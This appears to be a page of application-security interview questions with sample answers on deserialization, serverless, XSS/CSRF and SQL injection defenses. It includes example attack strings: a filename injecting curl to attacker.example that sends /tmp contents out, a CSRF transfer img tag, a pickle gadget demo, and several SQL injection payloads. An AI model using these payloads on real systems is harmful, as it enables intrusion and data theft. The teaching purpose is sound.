Secure Coding and Application Security Questions
Writing and reviewing code that resists attack. Covers the OWASP Top Ten and common web vulnerabilities (XSS, SQL injection, CSRF), input validation, secure coding practices and security code review, static application security testing (SAST), API and HTTP security, database and frontend security, and mobile app security. The application-layer defense discipline for engineers building software.
Define insecure deserialization, describe how it leads to remote code execution or a logic-bypass, and list the common language-specific risks (Java native serialization, Python pickle, PHP unserialize()). Explain where in an application deserialization typically happens (cookies, RPC calls, message queues), recommend secure design patterns and runtime mitigations, and note the detection signals you would look for in application logs and crash traces.
Sample Answer
Direct answer: Insecure deserialization happens when an application reconstructs an object from untrusted byte data using a mechanism that can be tricked into instantiating arbitrary classes or invoking arbitrary methods as a side effect, letting an attacker achieve remote code execution or bypass application logic without the application's own code ever intentionally calling anything malicious.
How it leads to RCE or a logic bypass. Deserialization mechanisms like Java's native serialization, Python's pickle, and PHP's unserialize() are designed to reconstruct arbitrary object graphs, which means they can call constructors, setters, and "magic methods" (__reduce__ in Python, readObject() in Java, __wakeup() in PHP) automatically during the reconstruction process - a data format that CAN execute code by definition can be steered into executing the WRONG code by an attacker who controls the byte stream. Even without full RCE, tampering with a serialized object's fields (an admin flag, a price, a permission level) before it's deserialized back can bypass application logic that assumed the object was only ever produced by the application's own trusted serialization step.
Language-specific risks: Java native serialization is exploited via "gadget chains" - sequences of otherwise-legitimate classes already present on the classpath (from common libraries) whose methods, when chained together during deserialization, achieve code execution the developer never intended. Python's pickle explicitly supports arbitrary callable invocation via __reduce__ by design, which is why the Python documentation itself warns never to unpickle untrusted data. PHP's unserialize() similarly invokes magic methods on class reconstruction, and PHP-specific "POP chain" (property-oriented programming) techniques chain together classes already loaded by the application to the same effect.
Where deserialization typically occurs, often less obviously than a dedicated "deserialize" API call: session storage (a serialized session object read back on every request), inter-service message queues (one service serializes an object, another deserializes it), cookies used to persist client state, and RPC/remote object protocols.
Secure design patterns and mitigations:
- Prefer data-only formats (JSON, Protocol Buffers) with no code-execution surface at all, wherever the use case allows - this is the strongest fix, since it removes the vulnerability class structurally rather than trying to use a code-capable format safely.
- If a code-capable format must be used, apply strict type allowlisting so only explicitly-trusted classes can be instantiated during deserialization, never accepting "whatever class the byte stream names."
- Runtime mitigations: sandboxing/isolating the deserialization step, and monitoring for deserialization exceptions or unexpected class-instantiation patterns as a detection signal.
A small, concrete trace of the mechanism, executed. Real gadget chains are hard to show in full (they typically chain several existing classes together), but the core mechanism - that reconstructing an object can trigger an arbitrary call, not just populate fields - is easy to demonstrate directly and I ran this:
class CacheWarmer:
def __reduce__(self):
# pickle calls __reduce__ automatically while RECONSTRUCTING the
# object, and __reduce__ is free to name any callable with any
# arguments - a real gadget reuses a class already on the classpath
# for a legitimate reason, choosing which already-present callable
# to invoke rather than injecting new code.
return (print, ("[gadget fired] code ran during deserialization",))
malicious_bytes = pickle.dumps(CacheWarmer()) # 86 bytes on the current default pickle protocol, looks like ordinary data
pickle.loads(malicious_bytes) # the victim app just wants to load a cached object
Running this prints [gadget fired] code ran during deserialization at the pickle.loads() line itself, before the victim application's own code ever runs anything - confirming the call happened as a side effect of reconstruction, not because the application explicitly invoked print. A real Java gadget chain follows the identical shape with readObject() instead of __reduce__, and a PHP POP (property-oriented programming) chain follows it with __wakeup()/__destruct(): an attacker who cannot inject new code can still reach a dangerous outcome (a real attack typically ends at something like a file write, a command execution primitive, or a class constructor with a serious side effect) by choosing which already-loaded class's magic method fires next, then which method THAT one calls, walking through classes already present in the application rather than introducing any new code of its own - "chain" refers to that sequence of hops through existing code, each one legitimate in isolation.
Detection signals in logs/crash traces: unexpected ClassNotFoundException/InvalidClassException-style errors (an attacker probing with class names that don't exist on the classpath), unusually large serialized payloads, or a spike in deserialization exceptions correlated with requests from a single source.
Trade-offs and pitfalls: type allowlisting has to be maintained as the application's legitimate object model evolves, and a too-broad allowlist (allowing a class merely because it's "already used somewhere in the app") can still admit a usable gadget if that class happens to have a dangerous side effect in its constructor or setters - the allowlist needs review, not just existence.
How would you detect insecure-deserialization attacks using application instrumentation and runtime telemetry? Describe the specific log events, exception patterns, and profiling metrics you would capture, what sampling strategy you would use to avoid overloading the system, what automated mitigations you might trigger, and suggest both short-term detection heuristics and longer-term developer fixes.
Sample Answer
Direct answer
Detecting insecure-deserialization attacks through instrumentation means watching for the specific, observable byproducts of a gadget chain being probed or fired: type-resolution exceptions that should never happen in normal traffic, filter rejections if a serialization filter is already deployed, and profiling anomalies (unusual stack depth, CPU (Central Processing Unit) or memory spikes during a readObject() call) that a legitimate, well-formed payload of an expected type never produces. Because deserialization is not a naturally high-volume event on most services, a fixed-rate or per-request sampling strategy risks missing the exact anomalous request that matters, so the right approach is to sample everything at low cost (log a lightweight event per call) and only capture expensive detail (full stack traces, payload snapshots) on the anomalous subset, which keeps overhead bounded without blinding the system to the events that count.
Structured elaboration
Specific log events to capture, at every deserialization call site. Structure each event with a fixed schema so it can be correlated across services and aggregated cheaply:
- Call-site identifier (service, code path) and the declared expected type(s) for that site.
- Outcome: success, filter-rejection (if a serialization filter is present), or exception, with the exception's fully-qualified class name.
- The resolved runtime type actually constructed, when resolvable, even on a rejected attempt, since the rejected type name is itself high-value forensic data.
- Caller identity/source (session, API key, source IP), so events can be grouped by originator and repeated attempts from the same source stand out.
- Payload size and, if a serialization filter reports it, object-graph depth and reference count at the point of rejection or success.
Exception patterns that indicate an attack attempt, not a benign bug. Deserialization exceptions happen in normal operation too (a version-skew bug, a genuinely malformed message from a misbehaving upstream), so the signal is in the pattern, not any single exception:
InvalidClassExceptionor a serialization-filter rejection citing a class name that is not, and has never been, part of the application's own type set. A legitimate version-skew issue cites a class the application does know about, just with an incompatibleserialVersionUID; an attack attempt typically cites a class the application never declared as expected at all.ClassCastExceptionimmediately following a successfulreadObject()call with no filter present (a "cast happens too late" pattern, where the object is fully reconstructed, magic methods included, before the code discovers it is the wrong type): this specific sequence, successful deserialization followed immediately by a cast failure to the expected type, is a strong indicator of exactly this vulnerability class being exercised, whether or not the specific attempt succeeded in achieving anything further.- A burst of distinct exception types or resolved class names from the same call site in a short window, suggesting an attacker iterating through a candidate gadget-chain catalogue rather than a single, consistent upstream bug (which would typically produce the same exception repeatedly).
Profiling metrics to capture. These catch attempts that do not throw at all, either because the chain partially succeeds or because a well-formed-but-hostile object graph is still being processed:
- Wall-clock and CPU time spent inside the deserialization call itself, flagged against a per-call-site baseline (a legitimate
InternalTypepayload deserializes in a narrow, predictable time range; an attacker exploring a deep or wide object graph, or one whose reconstruction triggers expensive incidental work like aLazyMap/hashCodechain trigger invoked during a Java gadget chain, will often deviate measurably). - Object allocation count/heap growth attributable to a single deserialization call, since a resource-exhaustion-oriented payload (deliberately deep or self-referential object graphs) shows up here even when it never throws an exception at all.
- Stack depth at the point of any exception thrown during deserialization: an unusually deep call stack is consistent with a multi-hop gadget chain (several classes' methods calling into each other) rather than a normal, shallow deserialization failure.
Sampling strategy to avoid overloading the system. The core tension: deserialization is comparatively rare per-request but the interesting events are rarer still within that already-small population, so a strategy has to avoid both "log everything in full detail" (unsustainable overhead on a busy service) and "sample at a fixed low rate" (which can simply miss the one attack attempt in ten thousand normal calls). The resolution is tiered, not uniform:
- Always emit the lightweight structured event (outcome, resolved type, caller identity) for every deserialization call, at effectively negligible cost, since it is a handful of fields, not a payload capture.
- Capture full detail (stack trace, payload snapshot, profiling data) only on the anomalous subset: any rejection, any exception, any call exceeding the per-call-site timing/allocation baseline by a defined margin. Because that subset is a small fraction of total traffic under normal conditions, the expensive capture path essentially never runs against legitimate traffic and cannot become an overload vector on its own, unless the service is actively under attack, in which case the elevated capture rate is itself informative and should be allowed to run, with a hard cap (rate-limited capture, dropping the least-informative duplicate events first) protecting against a sustained flood specifically designed to exhaust the logging pipeline itself.
- Down-sample only within a single repeating pattern, not across distinct ones: if the same call site produces the identical rejection (same source, same rejected class name) thousands of times in a short window, capture full detail on the first several occurrences and then switch to a lightweight counter increment for the remainder of that specific pattern, while still capturing full detail immediately if a different pattern (a new class name, a new source) appears. This preserves forensic value on genuinely new signal while bounding cost from a single noisy, already-understood source.
Automated mitigations to trigger. Tiered by confidence, so a single ambiguous signal never triggers the same response as a corroborated one:
- High confidence (a filter rejection citing a class from a known gadget-chain catalogue, or the cast-too-late exception pattern specifically): rate-limit or temporarily block the originating identity automatically, and alert immediately with the full captured detail attached.
- Medium confidence (an unrecognized class name rejected, but not matching a known-dangerous catalogue entry, or a single timing/allocation anomaly with no corroborating exception): log for aggregation and review; a single occurrence is not actionable alone, but repeated occurrences from the same source should escalate automatically to the high-confidence response.
- Low confidence (an isolated exception matching a known, already-triaged benign cause like version skew from a specific internal consumer): suppress from paging entirely, but keep in the structured event stream, since a source that is normally benign starting to also produce high-confidence signals is itself a meaningful change worth being able to see in the aggregate data.
Short-term detection heuristics versus longer-term developer fixes. These serve different purposes and should not be conflated in how they get reported: heuristics buy visibility now, while the underlying code needs its own fix regardless of how good the detection gets.
- Short-term: deploy the structured logging and the exception/profiling heuristics above against the current, unmodified deserialization code, since instrumentation can usually ship without touching the vulnerable call site itself, which is exactly why it is the fast, low-risk first move.
- Longer-term: the actual code-level and runtime fixes (type-allowlisting filters, migration to a non-executable serialization format) remain necessary; detection alone does not close the vulnerability, it only shortens the time between an attempt and a response. A team that ships excellent detection and stops there has built a very good alarm on a door that is still unlocked.
Worked example
Concretely: a payments service's order-processing endpoint deserializes an OrderUpdate object at a steady, well-characterized baseline volume, with a narrow, predictable range of CPU time and allocation count per call under normal conditions (the specific baseline numbers would come from that service's own profiling, not from a figure asserted here). An attacker begins probing with a sequence of different gadget-chain candidate classes; the first several attempts produce distinct InvalidClassExceptions citing class names never seen at this call site before (a strong signal on its own), and one attempt that happens to reference a class the filter has not yet been configured to reject produces a successful readObject() immediately followed by a ClassCastException, the cast-too-late pattern, with CPU time and allocation count for that single call falling well outside the site's normal profiled range. Each of these individually might be dismissed as noise; correlated together (multiple distinct rejected class names, then one cast-too-late exception, then an outlier resource-usage reading, all from the same source identity within a short window) they cross into high-confidence territory and trigger the automated response: the source identity is rate-limited immediately, and the full captured detail (which specific class names were attempted, the exact profiling anomaly) goes to the on-call responder rather than requiring them to reconstruct the sequence from raw logs after the fact.
Trade-offs and pitfalls
- Sampling at a fixed rate instead of tiering by anomaly. A flat 1% sample rate applied uniformly can easily miss a single, unique attack attempt buried in ordinary traffic, since the events that matter most here are rare by nature; tiering (lightweight-always, detailed-on-anomaly) is more work to build but is the only approach that does not trade away exactly the signal the instrumentation exists to catch.
- Treating every deserialization exception as an attack signal. Version-skew and genuinely malformed upstream messages produce real exceptions too; a detection system that pages on every occurrence trains the team to ignore the alert channel within days. The pattern-matching (unrecognized class names, the specific cast-too-late sequence, cross-source clustering) is what separates signal from routine operational noise, and skipping that discrimination is the fastest way to make an otherwise-good detection system worthless in practice.
- Building detection and never closing the underlying vulnerability. As stated above, this is the single most common way a good detection investment gets undermined: excellent visibility into an attack that remains fully capable of succeeding is a worse security posture than it appears on a dashboard, because "we would have seen it" is not the same claim as "it could not have worked."
- Capturing full payload snapshots on every anomalous event without limits. Even the "anomalous subset only" capture path can be flooded deliberately by an attacker who understands the system is instrumented this way, sending a sustained stream of distinct rejection-triggering payloads specifically to exhaust logging storage or downstream SIEM (Security Information and Event Management) ingestion capacity; the rate-limited, deduplicating fallback described in the sampling strategy exists specifically to bound this, and omitting it is a real operational risk, not a theoretical one.
Design an approach to secure serverless (AWS Lambda) functions that process external input. As a penetration tester, list common serverless-specific vulnerabilities (e.g., excessive permissions, insecure environment variables, event-data injection), how you would test for them, and recommend secure deployment patterns and IAM best practices.
Sample Answer
Direct answer
Securing serverless functions that process external input means designing for the fact that the function's execution role and its event source are the entire attack surface, since there is no host or network perimeter to fall back on. Three vulnerability classes dominate (excessive permissions, insecure environment variables, event-data injection), each needs its own testing approach as a penetration tester, and the deployment pattern and identity and access management (IAM) practices that prevent them are the same regardless of which cloud runs the function.
Structured elaboration
Common serverless-specific vulnerabilities.
| Vulnerability | What it looks like |
|---|---|
| Excessive permissions | The function's execution role grants wildcard actions or resources, or holds a sensitive action it never uses (iam:PassRole, broad s3:*), typically because scoping per function was skipped in favor of reusing a broad "known working" role |
| Insecure environment variables | Secrets stored as plaintext environment variables rather than referenced from a managed secret store, readable by anyone with permission to view the function's configuration, not only by the function's own runtime |
| Event-data injection | The function trusts a field from its triggering event (an object storage key, a queue message body, an API Gateway path parameter) and uses it unsafely downstream, in a shell command, a file path, or a database query, letting whoever can produce that event influence what the function executes |
How to test for each, as a penetration tester. Enumerate the execution role's policies through read-only calls and validate any suspected over-permission with a policy simulator rather than by invoking the function with a crafted payload; read the function's configuration to check for plaintext secrets in environment variables rather than in a referenced secret store; and, for event-data injection, trace every field of the function's actual trigger payload (not just the ones the developer intended to use) to see which reach a sensitive sink (a subprocess call, a file path, a query string) without being validated or sanitized first. All three are identifiable through configuration review and controlled, authorized test-event submission, without needing destructive action against production.
Recommended secure deployment patterns.
- One execution role per function, scoped to that function's actual resources, rather than a role shared across a service's several functions; generate the initial scope from the function's actual call history using access-analysis tooling, then review it, rather than hand-guessing.
- Secrets resolved at invocation time from a managed secret store (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault), referenced by an identifier in the function's configuration, never embedded as a plaintext environment variable or baked into the deployment package.
- Treat every field of the triggering event as untrusted input, applying the same validation discipline a web application applies to a request body: allow-list expected shapes, reject anything else, and never interpolate an event field directly into a shell command or file path.
- Least-privilege event source configuration. An API Gateway route should require authentication (IAM authorization or a JSON Web Token (JWT) authorizer) rather than being left open by default, and an object-storage trigger should be scoped to the specific prefix or event type the function actually needs to react to, not the whole bucket.
Worked example
A function triggered by object-storage uploads is meant to generate a thumbnail and write it to a processed-images bucket. It reads the uploaded object's key directly from the event payload and passes it, unsanitized, to a shell command that invokes an image-processing binary with the key as a filename argument. An attacker who can control the uploaded filename (any external user with upload access) uploads a file named thumb.jpg; curl attacker.example/exfil?data=$(cat /tmp/*), and if the shell command construction is naive string interpolation rather than an argument array, the embedded command executes on the function's runtime. As a penetration tester, this is identified by reading the function's source (or, if source is unavailable, by submitting an authorized test event with a crafted key value observing behavior through logs, never actually exfiltrating anything) rather than by exploiting it against production. The fix is not a single control but two independent ones: pass the filename as an argument array element rather than interpolating it into a command string (removing the injection vector entirely), and scope the function's execution role narrowly enough that even a successful injection cannot reach anything beyond the two buckets it legitimately touches.
Trade-offs and pitfalls
- Policy-simulator-based testing has a real limit. It confirms what the IAM policy allows, not what the function's own code path actually does with those permissions; the event-data-injection finding in the worked example is invisible to a policy simulator entirely; that vulnerability class requires reading code or observing crafted-event behavior, not permission analysis.
- Environment-variable encryption at rest is not the same control as restricting who can read the function's configuration. A team that enables the provider's default encryption and considers the environment-variable finding closed has not addressed the actual exposure, which is IAM permission to read the function's configuration in the first place, not the storage-layer encryption.
- Scoping a role from historical call data can under-scope for a legitimate rare path, the same risk that applies to any access-analysis-driven least-privilege exercise; a canary or monitored rollout period before fully cutting over avoids breaking a genuine but infrequent code path.
- A common wrong turn is validating only the fields a function's happy-path code reads, and skipping fields a developer assumed were "just metadata." In the worked example, the object key is exactly that kind of field: it looks like routing information, not user input, which is precisely why it is easy to miss in a review that only checks the fields the function's business logic obviously depends on.
Compare Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF): for each, explain how an attacker exploits a web application, what application assets are at risk, the detection signals and logs you would look for, and practical server-side and client-side mitigations you would implement.
Sample Answer
Direct answer: XSS and CSRF are both browser trust-model exploits, but they attack in opposite directions: XSS runs the attacker's code inside the victim's authenticated session on the vulnerable site itself, while CSRF tricks the victim's browser into sending a legitimate-looking request to the vulnerable site from somewhere else, without ever running attacker code on that site.
Structured elaboration.
XSS: the attacker injects script that executes in the victim's browser while the victim is genuinely on the vulnerable page. Because the script runs in that page's origin, it can read document.cookie (unless HttpOnly), read/modify the DOM, make authenticated fetch requests, and exfiltrate anything the page's JavaScript can see. Assets at risk: session tokens, any data rendered on the page, the ability to fully impersonate the user for as long as the script runs. Detection signals: unexpected <script>/onerror=/javascript: patterns in stored content, WAF/DAST alerts on reflected parameters, browser-side CSP violation reports. Mitigations: context-aware output encoding, CSP, sanitizing any HTML you must accept, HttpOnly cookies to limit blast radius.
CSRF: the attacker never runs code on the vulnerable site at all. Instead, they host a page (or email, or ad) that makes the victim's browser issue a request to the vulnerable site - a form auto-submit, an <img src="https://bank.example/transfer?to=attacker&amount=1000"> GET-based transfer, or a hidden auto-submitting POST form. Because the browser automatically attaches the session cookie to any request to that origin, the vulnerable site sees what looks like a legitimate authenticated request. Assets at risk: whatever state-changing action the forged request triggers (funds transfer, password change, adding an admin) - CSRF cannot read the response, so it's blind to data theft, only good for triggering actions. Detection signals: state-changing requests with no session-bound CSRF token, or with an Origin/Referer header pointing to a different site. Mitigations: anti-CSRF tokens, SameSite cookies, requiring re-authentication for sensitive actions.
Worked example of the key difference. If a site has stored XSS on its profile page, an attacker doesn't need the victim to click anything special beyond viewing a normal page; the script itself can then perform whatever CSRF-style actions it wants (it already has full access to make authenticated requests, so it doesn't need a forged cross-site form). If a site instead has NO XSS but a fund-transfer endpoint with no CSRF token, the attacker has to get the victim to visit a page the attacker controls, where a hidden form auto-submits to the bank's transfer endpoint. XSS is "your site's own code is compromised"; CSRF is "your site trusts a request too much regardless of where it came from."
Trade-offs and pitfalls: a site can be fully protected against CSRF (tokens everywhere, strict SameSite) and still be completely compromised by XSS, since XSS bypasses the CSRF token requirement entirely - the malicious script can just read the token off the page itself before making its request. This is the most common mistake in threat-model discussions: treating CSRF tokens as a general security control rather than recognizing that a working XSS vulnerability defeats CSRF protection as a side effect.
Explain how SQL injection attacks work, covering error-based, union-based, boolean/conditional-blind, and time-based blind techniques with a short example payload for each. Give a real-world exploit example and its business impact, then propose a prioritized set of mitigations at the code, framework, database, and architecture levels (parameterized queries/ORM best practices, least-privileged DB accounts, network rules, WAF, logging and detection).
Sample Answer
Direct answer: SQL injection happens when untrusted input is concatenated directly into a SQL query string, letting an attacker change the query's actual structure rather than just supplying a data value. The main techniques are error-based, union-based, boolean/conditional-blind, and time-based blind, and the fix at every layer starts with parameterized queries.
Structured elaboration, by technique:
- Error-based: the attacker crafts input that causes the database to throw an error containing useful information (a table name, a column value) in the error message itself, which the application then displays. Example payload:
' AND extractvalue(1, concat(0x7e, (SELECT version()))) --on a database configured to leak verbose errors to the client. - Union-based: the attacker appends a
UNION SELECTto the original query to pull data from a different table into the same result set the application already displays. Example:' UNION SELECT username, password FROM admin_users --- viable when the application echoes query results back, and the attacker can determine the original query's column count and types to match. - Boolean/conditional-blind: no error and no extra data is directly visible, but the application's behavior differs based on whether an injected condition is true or false (a different page, a different response length). Example:
' AND SUBSTRING(password,1,1)='a-- if the page renders differently than with a'b'guess, the attacker can extract data one character, one true/false question, at a time. - Time-based blind: like boolean-blind, but the true/false signal is response timing rather than response content, using something like
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --- useful when the application's response looks identical regardless of the condition, but a deliberate delay is measurable.
Real-world example and business impact. SQL injection routinely appears in Glassdoor and CTF-style interview reports as THE canonical appsec question, because it's both simple to demonstrate and catastrophic in impact: a successful injection on an authentication query (... WHERE username='$u' AND password='$p') with the payload ' OR '1'='1 bypasses the password check entirely by making the WHERE clause always true, granting the attacker access as the first user in the table without knowing any credentials.
Mitigations, in priority order:
- Parameterized queries / prepared statements at the code level - the single highest-leverage fix, since it structurally separates the query's syntax from user-supplied values so the database driver can never confuse the two, regardless of what characters the input contains.
- ORM usage as a practical wrapper around parameterization, with the caveat that an ORM's escape hatch for raw SQL (building a query string with
.execute(raw_sql)) reintroduces the exact same vulnerability if that escape hatch is used carelessly. - Least-privileged database accounts - the application's DB user should only have the permissions its actual queries need (no
DROP TABLEgrant for an account that only ever doesSELECT/INSERT), so that even a successful injection is contained. - Network rules and WAF as defense in depth, catching known attack signatures at the edge - never the primary control, since signature-based detection can be evaded.
- Logging and detection for the injection attempts that get through, since some determined attacker will eventually try something a WAF signature doesn't catch.
Trade-offs and pitfalls: parameterization must be applied to every place a query is built, not just the obviously risky ones - a common miss is a dynamic ORDER BY clause or table/column name, which parameterized placeholders can't cover (you can't parameterize an identifier the same way you parameterize a value), and those need explicit allowlisting of the permitted identifiers instead.
That is every published Secure Coding and Application Security question for Information Security Analyst so far. Browse the other topics in this category, or practice this one interactively.